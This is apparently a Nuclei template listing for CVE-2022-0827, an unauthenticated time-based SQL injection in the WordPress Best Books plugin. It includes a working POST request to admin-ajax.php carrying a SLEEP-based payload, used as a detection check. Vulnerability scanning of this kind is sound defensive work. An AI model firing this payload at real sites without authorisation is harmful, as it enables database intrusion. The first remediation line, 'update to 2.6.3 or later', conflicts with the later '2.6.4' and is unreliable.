CVE-2022-0827: WordPress Best Books <=2.6.3 - SQL Injection
- Template: CVE-2022-0827
- Name: WordPress Best Books <=2.6.3 - SQL Injection
- Description: WordPress Best Books plugin through 2.6.3 is susceptible to SQL injection. The plugin does not sanitize and escape some parameters before using them in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
- Impact: An attacker can exploit this vulnerability to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
- Remediation: Update to WordPress Best Books plugin version 2.6.3 or later to fix the SQL injection vulnerability.
- Severity: critical
- Authors: theamanrawat
- Tags: time-based-sqli, cve, cve2022, sqli, wpscan, wordpress, wp-plugin, wp, bestbooks, unauthenticated, presspage, vkev, vuln
- References: https://wpscan.com/vulnerability/0d208ebc-7805-457b-aa5f-ffd5adb2f3be, https://wordpress.org/plugins/bestbooks/, https://nvd.nist.gov/vuln/detail/CVE-2022-0827, https://github.com/ARPSyndicate/cvemon, https://github.com/cyllective/CVEs
- Cves: CVE-2022-0827
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2022/CVE-2022-0827.yaml
- Digest: 4a0a0047304502204e0b554b03bbd9e91f8c8e3b9dcfaf469e0c535e5a4d54c061ce749e01738fc902210091c2e4d92774cda7756bd379515d8bf83d5a740f7260bb6c12d62c3aded22e76
- Created at: 2023-03-31T12:06:26Z
- Updated at: 2026-11-23T02:03:43Z
- Age in days: 1334
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0827.yaml
Classification
- Cwe: CWE-89
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.09127
- Epss percentile: 0.95437
- Cpe: cpe:2.3:a:presspage:bestbooks:*:*:*:*:*:wordpress:*:*
Metadata
- Framework: wordpress
- Max-request: 1
- Product: bestbooks
- Vendor: presspage
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| presspage:bestbooks | yes | /v1/products/presspage/bestbooks |
Labels
- Name: WordPress Best Books - SQL Injection
- Impact: Attackers can access sensitive information, modify data, or execute unauthorized admin actions on the affected site.
- Remediation: Update to version 2.6.4 or later, where the vulnerability is fixed.
- Vulnerability type: sql_injection
- Vulnerability impact: information_disclosure, data_tampering, privilege_escalation
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2022-0827
- Not known: requirements
```yaml
id: CVE-2022-0827
info:
name: WordPress Best Books <=2.6.3 - SQL Injection
author: theamanrawat
severity: critical
description: |
WordPress Best Books plugin through 2.6.3 is susceptible to SQL injection. The plugin does not sanitize and escape some parameters before using them in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
An attacker can exploit this vulnerability to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
remediation: |
Update to WordPress Best Books plugin version 2.6.3 or later to fix the SQL injection vulnerability.
reference:
- https://wpscan.com/vulnerability/0d208ebc-7805-457b-aa5f-ffd5adb2f3be
- https://wordpress.org/plugins/bestbooks/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0827
- https://github.com/ARPSyndicate/cvemon
- https://github.com/cyllective/CVEs
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-0827
cwe-id: CWE-89
epss-score: 0.09127
epss-percentile: 0.95437
cpe: cpe:2.3:a:presspage:bestbooks:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: presspage
product: bestbooks
framework: wordpress
tags: time-based-sqli,cve,cve2022,sqli,wpscan,wordpress,wp-plugin,wp,bestbooks,unauthenticated,presspage,vkev,vuln
http:
- raw:
- |
@timeout 10s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=bestbooks_add_transaction&type=x&account=x&date=x&description=1&debit=(CASE WHEN (9277=9277) THEN SLEEP(6) ELSE 9277 END)&credit=1
matchers:
- type: dsl
dsl:
- 'duration_1>=6'
- 'status_code == 200'
- 'contains(body, "Account added successfully")'
condition: and
digest: 4a0a0047304502204e0b554b03bbd9e91f8c8e3b9dcfaf469e0c535e5a4d54c061ce749e01738fc902210091c2e4d92774cda7756bd379515d8bf83d5a740f7260bb6c12d62c3aded22e76:922c64590222798bb761d5b6d8e72950
```